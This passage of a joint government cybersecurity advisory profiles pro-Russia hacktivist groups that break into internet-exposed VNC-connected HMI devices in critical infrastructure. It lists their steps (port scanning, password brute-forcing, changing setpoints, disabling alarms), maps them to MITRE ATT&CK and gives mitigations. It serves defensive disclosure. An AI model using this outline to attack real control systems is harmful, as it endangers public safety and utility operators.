<h3><strong>NoName057(16)</strong></h3>
<p>The authoring organizations assess that the Center for the Study and Network Monitoring of the Youth Environment (CISM), established on behalf of the Kremlin, created NoName057(16) as a covert project within the organization. Senior executives and employees within CISM developed and customized the NoName057(16) proprietary DDoS tool <code>DDoSia</code>, paid for the group’s network infrastructure, served as administrators on NoName057(16) Telegram channels, and selected DDoS targets.</p>
<p>Active since March 2022, NoName057(16) has conducted frequent DDoS attacks against government and private sector entities in North Atlantic Treaty Organization (NATO) member states and other European countries perceived as hostile to Russian geopolitical interests. The group operates primarily through Telegram channels and used GitHub, alongside various websites and repositories, to host <code>DDoSia</code> and share materials and TTPs with their followers. </p>
<p>In 2024, NoName057(16) began collaborating closely with other pro-Russia hacktivist groups, operating a joint chat with CARR by mid-2024. In July 2024, NoName057(16) jointly claimed responsibility with CARR for an alleged intrusion against OT assets in the U.S. The high degree of cooperation with CARR likely contributed to the formation of Z-Pentest, which is composed of actors and administrators from both teams, in September 2024.</p>
<h3><strong>Z-Pentest</strong></h3>
<p>Established in September 2024, Z-Pentest is composed of members from CARR and NoName057(16). The group specializes in OT intrusion operations targeting globally dispersed critical infrastructure entities. Additionally, the group uses “hack and leak” operations and defacement attacks to draw attention to their pro-Russia messaging. Unlike other pro-Russia hacktivist groups, Z-Pentest largely avoids DDoS activities, claiming OT intrusions as attempts to garner more attention from the media.</p>
<p>Shortly after Z-Pentest’s inception, the group announced alliances with CARR and NoName057(16), possibly to leverage the other groups’ subscribers to grow the new channel. In March 2025, Z-Pentest posted evidence claiming OT device intrusions to their channel using a NoName057(16) cyberattack campaign hashtag. Similarly, in April 2025, Z-Pentest shared a video purporting defacement of an HMI by changing system names to NoName057(16) and CARR references. Z-Pentest continues to create new alliances with other groups, like Sector16, to continue growing their subscriber base and incidentally propagate TTPs with new partners.</p>
<h3><strong>Sector16</strong></h3>
<p>Formed in January 2025, Sector16 is a novice pro-Russia hacktivist group that emerged through collaboration with Z-Pentest. Sector16 actively maintains an online presence, including a public Telegram channel where they share videos, statements, and claims of compromising U.S. energy infrastructure. These communications often align with pro-Russia narratives and reflect their self-proclaimed support for Russian geopolitical objectives.</p>
<p>Members of Sector16 may have received indirect support from the Russian government in exchange for conducting specific cyber operations that further Russian strategic goals. This aligns with broader Russian cyber strategies that involve leveraging non-state threat actors for certain cyber activities, adding a layer of deniability.</p>
<h2><strong>Technical Details</strong></h2>
<p><strong>Note:</strong> This advisory uses the MITRE ATT&amp;CK<sup>®</sup> <a href="https://attack.mitre.org/versions/v18/matrices/enterprise/" title="Matrix for Enterprise framework" data-entity-type="external">Matrix for Enterprise framework</a>, version 18. See the <a href="https://www.cisa.gov/#MITRE" title="MITRE ATT&amp;CK Tactics and Techniques"><strong>MITRE ATT&amp;CK Tactics and Techniques</strong></a> section of this advisory for a table of the threat actors’ activity mapped to MITRE ATT&amp;CK tactics and techniques.</p>
<h3><strong>TTP Overview</strong></h3>
<p>Pro-Russia hacktivist groups employ easily disseminated and replicated TTPs across various entities, increasing the likelihood of widespread adoption and escalating the frequency of intrusions. These groups have limited capabilities, frequently misunderstanding the processes they aim to disrupt. Their apparent low level of technical knowledge results in haphazard attacks where actors intend to cause physical damage but cannot accurately anticipate actual impact. Despite these limitations, the authoring organizations have observed these groups willfully cause actual harm to vulnerable critical infrastructure.</p>
<p>Pro-Russia hacktivist groups use the TTPs in this Cybersecurity Advisory to target virtual network computing (VNC)-connected HMI devices. These groups are primarily seeking notoriety with their actions. While they have caused damage in some instances, they regularly make false or exaggerated claims about their attacks on critical infrastructure to garner more attention. They frequently misrepresent their capabilities and the impacts of their actions, portraying minor incursions as significant breaches, but such incursions can still lead to lost time and resources for operators remediating systems.</p>
<p>Additionally, pro-Russia hacktivists use an opportunistic targeting methodology. They leverage superficial criteria, such as victim availability and existing vulnerabilities, rather than focusing on strategically significant entities. Their lack of strategic focus can lead to a broad array of targets, ranging from water treatment facilities to oil well systems. Pro-Russia hacktivists have demonstrated a pattern of frequently taking advantage of the widespread availability of vulnerable VNC connections. While system owners typically use VNC connections for legitimate remote system access functions, threat actors can maliciously use these connections to broadly target numerous platforms and services. Consequently, these groups can indiscriminately compromise critical infrastructure entities, including those in the <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/water-and-wastewater-sector" title="Water and Wastewater Sector">Water and Wastewater</a>, <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/food-and-agriculture-sector" title="Food and Agriculture Sector" data-entity-type="external">Food and Agriculture</a>, and <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/energy-sector" title="Energy Sector">Energy</a> Sectors.</p>
<p>Pro-Russia hacktivist groups have successfully targeted supervisory control and data acquisition (SCADA) networks using basic methods, and in some cases, performed simultaneous DDoS attacks against targeted networks to facilitate SCADA intrusions. As recently as April 2025, threat actors used the following unsophisticated TTPs to access networks and conduct SCADA intrusions:</p>
<ul>
<li>Scan for vulnerable devices on the internet [<a href="https://attack.mitre.org/versions/v18/techniques/T0883/" target="_blank" title="T0883" data-entity-type="external">T0883</a>] with open VNC ports [<a href="https://attack.mitre.org/versions/v18/techniques/T1595/002/" target="_blank" title="T1595.002" data-entity-type="external">T1595.002</a>].</li>
<li>Initiate temporary virtual private server (VPS) [<a href="https://attack.mitre.org/versions/v18/techniques/T1583/003/" target="_blank" title="T1583.003" data-entity-type="external">T1583.003</a>] to execute password brute force software.</li>
<li>Use VNC software to access hosts [<a href="https://attack.mitre.org/versions/v18/techniques/T1021/005/" target="_blank" title="T1021.005" data-entity-type="external">T1021.005</a>].</li>
<li>Confirm connection to the vulnerable device [<a href="https://attack.mitre.org/versions/v18/techniques/T0886/" target="_blank" title="T0886" data-entity-type="external">T0886</a>].</li>
<li>Brute force the password, if required [<a href="https://attack.mitre.org/versions/v18/techniques/T1110/003/" target="_blank" title="T1110.003" data-entity-type="external">T1110.003</a>].</li>
<li>Gain access to HMI devices [<a href="https://attack.mitre.org/versions/v18/techniques/T0883/" target="_blank" title="T0883" data-entity-type="external">T0883</a>], typically with default [<a href="https://attack.mitre.org/versions/v18/techniques/T0812/" target="_blank" title="T0812" data-entity-type="external">T0812</a>], weak, or no passwords [<a href="https://attack.mitre.org/versions/v18/techniques/T0859/" target="_blank" title="T0859" data-entity-type="external">T0859</a>].</li>
<li>Log the confirmed vulnerable device IP address, port, and password.</li>
<li>Using the HMI graphical interface [<a href="https://attack.mitre.org/versions/v18/techniques/T0823/" target="_blank" title="T0823" data-entity-type="external">T0823</a>], capture screen recordings or intermittent screenshots while conducting the following actions, intending to affect productivity and cause additional costs [<a href="https://attack.mitre.org/versions/v18/techniques/T0828/" target="_blank" title="T0828" data-entity-type="external">T0828</a>]:
<ul>
<li>Modify usernames/passwords [<a href="https://attack.mitre.org/versions/v18/techniques/T0892/" target="_blank" title="T0892" data-entity-type="external">T0892</a>];</li>
<li>Modify parameters [<a href="https://attack.mitre.org/versions/v18/techniques/T0836/" target="_blank" title="T0836" data-entity-type="external">T0836</a>];</li>
<li>Modify device name [<a href="https://attack.mitre.org/versions/v18/techniques/T0892/" target="_blank" title="T0892" data-entity-type="external">T0892</a>];</li>
<li>Modify instrument settings [<a href="https://attack.mitre.org/versions/v18/techniques/T0831/" target="_blank" title="T0831" data-entity-type="external">T0831</a>];</li>
<li>Disable alarms [<a href="https://attack.mitre.org/versions/v18/techniques/T0878/" target="_blank" title="T0878" data-entity-type="external">T0878</a>];</li>
<li>Create loss of view (a technique that mandates local hands-on operator intervention) [<a href="https://attack.mitre.org/versions/v18/techniques/T0829/" target="_blank" title="T0829" data-entity-type="external">T0829</a>]; and/or</li>
<li>Device restart or shutdown [<a href="https://attack.mitre.org/versions/v18/techniques/T0816/" target="_blank" title="T0816" data-entity-type="external">T0816</a>].</li>
</ul>
</li>
<li>Disconnect from the device, ending the VNC connection.</li>
<li>Research the compromised device company after the intrusion [<a href="https://attack.mitre.org/versions/v18/techniques/T1591/" target="_blank" title="T1591" data-entity-type="external">T1591</a>].</li>
</ul>
<h4><strong>Propagation</strong></h4>
<p>To reach a wider audience, pro-Russia hacktivist groups work together, amplify each other’s posts, create additional groups to amplify their own posts, and likely share TTPs. For example, Z-Pentest jointly claimed intrusion of a U.S. system with Sector16. Sector16 later began posting additional intrusions for which the group claimed sole responsibility. It is likely that these and similar groups will continue to iterate and share these methods to disrupt critical infrastructure organizations.</p>
<h4><strong>Reconnaissance and Initial Access</strong></h4>
<p>The threat actors’ intrusion methodology is relatively unsophisticated, inexpensive to execute, and easy to replicate. These pro-Russia hacktivist groups abuse popular internet-scraping tools, such as <code>Nmap</code> or <code>OPENVAS</code>, to search for visible VNC services and use brute force password spraying tools to access devices via known default or otherwise weak credentials. Threat actors typically search for these services on the default port <code>5900</code> or other nearby ports (<code>5901-5910</code>). Their goal is to gain remote access to HMI devices connected to live control networks.</p>
<p>Once threat actors obtain access, they manipulate available settings from the graphical user interface (GUI) on the HMI devices, such as arbitrary physical parameter and setpoint changes, or conduct defacement activities. Because pro-Russia hacktivist groups seem to lack sector-specific expertise or cyber-physical engineering knowledge, they currently cannot reliably estimate the true impact of their actions. Regardless of outcome, pro-Russia hacktivist groups often post images and screen recordings to their social media platforms, boasting the compromises and exaggerating impacts to garner attention from their peers and the media.</p>
<h4><strong>Impact</strong></h4>
<p>While pro-Russia hacktivist groups currently demonstrate limited ability to consistently cause significant impact, there is a risk that their continued attacks will result in further harm or grievous physical consequences. Attacks have not yet caused injury; however, the attacks against occupied factories and community facilities demonstrate a lack of consideration for human safety.</p>
<p>Victim organizations reported that the most common operational impact caused by these threat actors is a temporary loss of view, necessitating manual intervention to manage processes. However, any modifications to programmatic and systematic procedures can result in damage or disruption, including substantial labor costs from hiring a programmable logic controller programmer to restore operations, costs associated with operational downtime, and potential costs for network remediation.</p>
<h2><a class="ck-anchor"><strong>MITRE ATT&amp;CK Tactics and Techniques</strong></a></h2>
<p>See <a href="https://www.cisa.gov/#Table1" title="Table 1"><strong>Table 1</strong></a> to <a href="https://www.cisa.gov/#Table10" title="Table 10"><strong>Table 10</strong></a> for all referenced threat actor tactics and techniques in this advisory. For assistance with mapping malicious cyber activity to the MITRE ATT&amp;CK framework, see CISA and MITRE ATT&amp;CK’s <a href="https://www.cisa.gov/news-events/news/best-practices-mitre-attckr-mapping" title="Best Practices for MITRE ATT&amp;CK Mapping">Best Practices for MITRE ATT&amp;CK Mapping</a> and CISA’s <a href="https://github.com/cisagov/Decider/" title="Decider Tool">Decider Tool</a>.</p>
<p><a class="ck-anchor"></a></p>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 1. Reconnaissance</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Gather Victim Organization Information</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T1591/" target="_blank" title="T1591" data-entity-type="external">T1591</a></td>
<td>Threat actors use information available on the internet to determine what systems they believe they have compromised and post the information on their social media. This methodology frequently leads to the threat actors misidentifying their claimed victims.</td>
</tr>
<tr>
<td>Active Scanning: Vulnerability Scanning</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T1595/002/" target="_blank" title="T1595.002" data-entity-type="external">T1595.002</a></td>
<td>Threat actors use open source tools to look for IP addresses in target countries with visible VNC services on common ports.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 2. Resource Development</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Acquire Infrastructure: Virtual Private Server</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T1583/003/" target="_blank" title="T1583.003" data-entity-type="external">T1583.003</a></td>
<td>Threat actors use virtual infrastructure to obfuscate identifiers.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 3. Initial Access</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Internet Accessible Device</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0883/" target="_blank" title="T0883" data-entity-type="external">T0883</a></td>
<td>Threat actors gain access through less secure HMI devices exposed to the internet.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 4. Persistence</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Valid Accounts</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0859/" target="_blank" title="T0859" data-entity-type="external">T0859</a></td>
<td>Threat actors use password guessing tools to access legitimate accounts on the HMI devices.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 5. Credential Access</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Brute Force: Password Spraying</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T1110/003/" target="_blank" title="T1110.003" data-entity-type="external">T1110.003</a></td>
<td>Threat actors use tools to rapidly guess common or simple passwords.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 6. Lateral Movement</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Default Credentials</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0812/" target="_blank" title="T0812" data-entity-type="external">T0812</a></td>
<td>Threat actors seek and build libraries of known default passwords for control devices to access legitimate user accounts.</td>
</tr>
<tr>
<td>Remote Services</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0886/" target="_blank" title="T0886" data-entity-type="external">T0886</a></td>
<td>Threat actors leverage VNC services to access system HMI devices.</td>
</tr>
<tr>
<td>Remote Services: VNC</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T1021/005/" target="_blank" title="T1021.005" data-entity-type="external">T1021.005</a></td>
<td>Threat actors hunt VNC-enabled devices visible on the internet and connect with remote viewer software.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 7. Execution</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Graphical User Interface</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0823/" target="_blank" title="T0823" data-entity-type="external">T0823</a></td>
<td>Threat actors interact with HMI devices via GUIs, attempting to modify control devices.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 8. Inhibit Response Function</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Device Restart/Shutdown</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0816/" target="_blank" title="T0816" data-entity-type="external">T0816</a></td>
<td>While threat actors claim to turn off HMIs, it is possible that operators (not the threat actors) turn the devices off during incident response.</td>
</tr>
<tr>
<td>Alarm Suppression</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0878/" target="_blank" title="T0878" data-entity-type="external">T0878</a></td>
<td>Threat actors use HMI interfaces to clear alarms caused by their activity and alarms already present on the system at the time of their intrusion.</td>
</tr>
<tr>
<td>Change Credential</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0892/" target="_blank" title="T0892" data-entity-type="external">T0892</a></td>
<td>Threat actors change the usernames and passwords of HMI devices in operator lockout attempts, usually resulting in a loss of view and operators switching to manual operations.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 9. Impair Process Control</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Technique Title</th>
<th role="columnheader">ID</th>
<th role="columnheader">Use</th>
</tr>
</thead>
<tbody>
<tr>
<td>Modify Parameter</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0836/" target="_blank" title="T0836" data-entity-type="external">T0836</a></td>
<td>Threat actors attempt to change upper and lower limits of operational devices as available from the HMI.</td>
</tr>
<tr>
<td>Unauthorized Command Message</td>
<td><a href="https://attack.mitre.org/techniques/T0855/" target="_blank" title="T0855" data-entity-type="external">T0855</a></td>
<td>Threat actors attempt to send unauthorized command messages to instruct control system assets to perform actions outside of their intended functionality, causing possible impact.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 10. Impact</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><a class="ck-anchor"><strong>Technique Title</strong></a></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Loss of Productivity and Revenue</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0828/" target="_blank" title="T0828" data-entity-type="external">T0828</a></td>
<td>Threat actors purposefully attempt to impact productivity and create additional costs for the affected entities.</td>
</tr>
<tr>
<td>Loss of View</td>
<td><a href="https://attack.mitre.org/versions/v15/techniques/T0829/" target="_blank" title="T0829" data-entity-type="external">T0829</a></td>
<td>Threat actors change credentials on HMI devices, preventing operators from modifying processes remotely. </td>
</tr>
<tr>
<td>Manipulation of Control</td>
<td><a href="https://attack.mitre.org/versions/v15/techniques/T0831/" target="_blank" title="T0831" data-entity-type="external">T0831</a></td>
<td>Threat actors change setpoints in processes, impacting the efficiency of operations for those specific processes.  </td>
</tr>
</tbody>
</table>
<h2><strong>Incident Response</strong></h2>
<p>If organizations find exposed systems with weak or default passwords, they should assume threat actors compromised the system and begin the following incident response protocols:</p>
<ol>
<li><strong>Determine which hosts were compromised and isolate them</strong> by quarantining or taking them offline.</li>
<li><strong>Initiate threat hunting activities to scope the intrusion</strong>. Collect and review artifacts, such as running processes/services, unusual authentications, and recent network connections.</li>
<li><strong>Reimage compromised hosts</strong>.</li>
<li><strong>Provision new account credentials</strong>.</li>
<li><strong>Report the compromise to CISA, FBI, and/or NSA</strong>. See the <a href="https://www.cisa.gov/#Contact" title="Contact Information"><strong>Contact Information</strong></a> section of this advisory.</li>
<li><strong>Harden the network to prevent additional malicious activity</strong>. See the <a href="https://www.cisa.gov/#Mitigations" title="Mitigations "><strong>Mitigations </strong></a>section of this advisory for guidance.</li>
</ol>
<h2><a class="ck-anchor"><strong>Mitigations</strong></a></h2>
<h3><strong>OT Asset Owners and Operators</strong></h3>
<p>The authoring organizations recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture based on the threat actors’ activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s <a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals" title="CPGs">CPGs webpage</a> for more information on the CPGs, including additional recommended baseline protections.</p>
<ul>
<li><strong>Reduce exposure of OT assets to the public-facing internet.</strong> When connected to the internet, OT devices are easy targets for malicious cyber threat actors. Many devices can be found by searching for open ports on public IP ranges with search engine tools to target victims with OT components [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#SecureInternetFacingDevices3S" title="CPG 3.S">CPG 3.S</a>].
<ul>
<li><strong>Asset owners should use attack surface management services </strong>and web-based search platforms to scan the internet. This mitigation can help identify if there are VNC systems exposed within the IP ranges they own, especially for connections set up by third parties.<br><strong>Note:</strong> For more information on attack surface management, see CISA’s <a href="https://www.cisa.gov/resources-tools/resources/exposure-reduction" title="Internet Exposure Reduction Guidance">Internet Exposure Reduction Guidance</a>, CISA’s <a href="https://www.cisa.gov/cyber-hygiene-services" title="Cyber Hygiene Services">Cyber Hygiene Services</a> for U.S. critical infrastructure, and NSA’s <a href="https://www.nsa.gov/Portals/75/documents/resources/everyone/Attack%20Surface%20Management%20copy.pdf" target="_blank" title="Attack Surface Management" data-entity-type="external">Attack Surface Management</a> for the U.S. Defense Industrial Base.</li>
<li><strong>Implement network segmentation between IT and OT networks.</strong> Segmenting critical systems and introducing a demilitarized zone (DMZ) for passing control data to enterprise logistics reduces the potential impact of cyber threats and the risk of disruptions to essential OT operations [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ImplementLogicalPhysicalNetworkSegmentation3I" title="CPG 3.I">CPG 3.I</a>].</li>
<li><strong>Consider implementing a firewall and/or virtual private network</strong> if exposure to the internet is necessary for controlling access to devices.
<ul>
<li>Consider disabling public exposure by default and implementing time-limited remote access to reduce the amount of time systems are exposed.</li>
<li>Restrict and monitor both inbound and outbound traffic at OT perimeter firewalls. Configure OT perimeter firewalls to enforce a default-deny policy for all traffic. Asset owners should explicitly permit authorized destinations and protocols based on operational requirements.</li>
<li>Implement strict egress filtering to prevent unauthorized data exfiltration or command-and-control callbacks.</li>
<li>Regularly audit firewall rulesets and monitor outbound traffic patterns for anomalies indicative of threat actor activity, such as beaconing or unexpected protocol usage.</li>
</ul>
</li>
</ul>
</li>
<li><strong>Adopt mature asset management processes</strong>, including mapping data flows and access points. Generating a complete picture of both OT and IT assets provides visibility to operators and management, allowing organizations to monitor and assess deviations for criticality [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ManageOrganizationalAssets2A" title="CPG 2.A">CPG 2.A</a>].
<ul>
<li><strong>Keep remote access services updated </strong>with the latest version available and ensure all systems and software are up to date with patches and necessary security updates.
<ul>
<li>Keep VNC systems updated with the latest version available.</li>
</ul>
</li>
<li><strong>Refer to the joint </strong><a href="https://www.cisa.gov/resources-tools/resources/foundations-ot-cybersecurity-asset-inventory-guidance-owners-and-operators" title="Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators"><strong>Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators</strong></a> to help with reducing cybersecurity risk by identifying which assets within their environment should be secured and protected.</li>
</ul>
</li>
<li><strong>Ensure OT assets use robust authentication procedures.</strong>
<ul>
<li>Many devices lack robust authentication and authorization. Devices with weak authentication are vulnerable targets to threat actors using credential theft techniques.</li>
<li>Implement MFA where possible. Where MFA is not feasible, use strong, unique passwords. Apply password standards for operator-accessible services on underlying OT assets, as well as network devices protecting those services. This is especially important for services that require internet accessibility [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ChangingDefaultPasswords3A" title="CPG 3.A">CPG 3.A</a>] [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#EstablishMinimumPasswordStrength3B" title="CPG 3.B">CPG 3.B</a>] [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#CreateUniqueCredentials3C" title="CPG 3.C">CPG 3.C</a>] [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ImplementMultifactorAuthentication3F" title="CPG 3.F">CPG 3.F</a>].</li>
<li>Establish an allowlist that permits only authorized device IP addresses and/or media access control addresses. The allowlist can be refined to operator working hours to further obstruct malicious threat actor activity; organizations are encouraged to establish monitoring and alerting for access attempts not meeting these criteria [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#MonitorUnsuccessfulAutomatedLoginAttempts3E" title="CPG 3.E">CPG 3.E</a>].</li>
<li>Disable any unused authentication methods, logic, or features, such as default authentication keys and default passwords. Block all unused high ephemeral ports and monitor for attempted connections using standard protocols on non-standard ports [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ProhibitConnectionofUnauthorizedDevices3R" title="CPG 3.R">CPG 3.R</a>].</li>
<li>Authenticate all access to field controllers before authorizing access to, or modification of, a device’s state, logic, program, or filesystems.</li>
</ul>
</li>
<li><strong>Enable control system security features </strong>that can separate and audit view and control functions. Limiting remotely accessible or default user accounts to “view-only” removes the potential for impact without exploiting a vulnerability [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#AdministratorsMaintainSeparateUserandPrivilegedAccounts3G" title="CPG 3.G">CPG 3.G</a>].</li>
<li><strong>Implement and practice business recovery/disaster recovery plans.</strong> Plans should also take into consideration redundancy, fail-safe mechanisms, islanding capabilities, backup restoration, and manual operation.
<ul>
<li>Include scenarios that necessitate switching to manual operations. Maintaining the capability of an organization to revert to manual controls to quickly restore operations is vital in the immediate aftermath of a cyber incident [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#IncidentPlanningandPreparedness6A" title="CPG 6.A">CPG 6.A</a>].</li>
<li>Create backups of the engineering logic, configurations, and firmware of HMIs to enable fast recovery. Organizations should routinely test backups and standby systems to ensure safe manual operations in the event of an incident [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#MaintainSystemBackupsRestorationAbility3O" title="CPG 3.O">CPG 3.O</a>].</li>
</ul>
</li>
<li><strong>Collect and monitor the traffic of OT assets and networking devices.</strong> This includes unusual logins or unexpected protocols communicating over the internet, and functions of ICS management protocols that change an asset’s operating mode or modify programs.</li>
<li><strong>Review configurations for setpoint ranges or tag values </strong>to stay within safe ranges and establish alerting for deviations.</li>
<li><strong>Take a proactive approach in the procurement process</strong> by following the guidance outlined in the joint guide <a href="https://www.cisa.gov/resources-tools/resources/secure-demand-priority-considerations-operational-technology-owners-and-operators-when-selecting" title="Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products">Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products</a>.</li>
</ul>
<h3>OT Device Manufacturers</h3>
<p>Although critical infrastructure organizations can take steps to mitigate risks, it is ultimately the responsibility of OT device manufacturers to build products that are secure by design. The authoring organizations urge device manufacturers to take ownership of the security outcomes of their customers in line with the joint guide <a href="https://www.cisa.gov/resources-tools/resources/secure-by-design" title="Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software">Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software</a>.</p>
<ul>
<li><strong>Eliminate default credentials and require strong passwords.</strong> The use of default credentials is a top weakness threat actors exploit to gain access to systems.</li>
<li><strong>Mandate MFA for privileged users.</strong> Changes to engineering logic or configurations are safety-impacting events in critical infrastructure. MFA should be available for safety critical components at no additional cost.</li>
<li><strong>Practice secure by default principles. </strong>OT components were initially designed without public internet connectivity in mind. When internet connection becomes necessary, implementing additional security measures is essential to safeguard these systems. Manufacturers should recognize insecure states and promptly inform users so they can make informed risk decisions.
<ul>
<li><strong>Include logging at no additional charge.</strong> Change and access control logs allow operators to track safety-impacting events in their critical infrastructure. These logs should be available for no cost and use open standard logging formats.</li>
</ul>
</li>
<li><strong>Publish Software Bill of Materials (SBOMs).</strong> Vulnerabilities in underlying software libraries can affect a wide range of devices. Without an SBOM, it is nearly impossible for a critical infrastructure system owner to measure and mitigate the impact of a vulnerability on their existing systems. See CISA’s <a href="https://www.cisa.gov/sbom" title="Software Bill of Materials">SBOM webpage</a> for more information.</li>
</ul>
<p>Additionally, see CISA’s <a href="https://www.cisa.gov/resources-tools/resources/secure-design-alert-how-software-manufacturers-can-shield-web-management-interfaces-malicious-cyber" title="Secure by Design Alert">Secure by Design Alert</a> on how software manufacturers can shield web management interfaces from malicious cyber activity. By using secure by design tactics, software manufacturers can make their product lines secure “out of the box” without requiring customers to spend additional resources making configuration changes, purchasing tiered security software and logs, monitoring, and making routine updates.</p>
<p>For more information on secure by design, see CISA’s <a href="https://www.cisa.gov/securebydesign" title="Secure by Design">Secure by Design</a> webpage.</p>
<h2><strong>Validate Security Controls</strong></h2>
<p>In addition to applying mitigations, the authoring organizations recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&amp;CK Matrix for Enterprise framework in this advisory. The authoring organizations recommend testing your existing security controls inventory to assess how it performs against the ATT&amp;CK techniques described in this advisory.</p>
<p>To start:</p>
<ol>
<li>Select an ATT&amp;CK technique described in this advisory (see <a href="https://www.cisa.gov/#Table1" title="Table 1"><strong>Table 1</strong></a> to<strong> </strong><a href="https://www.cisa.gov/#Table10" title="Table 10"><strong>Table 10</strong></a>).</li>
<li>Align your security technologies against the technique.</li>
<li>Test your technologies against the technique.</li>
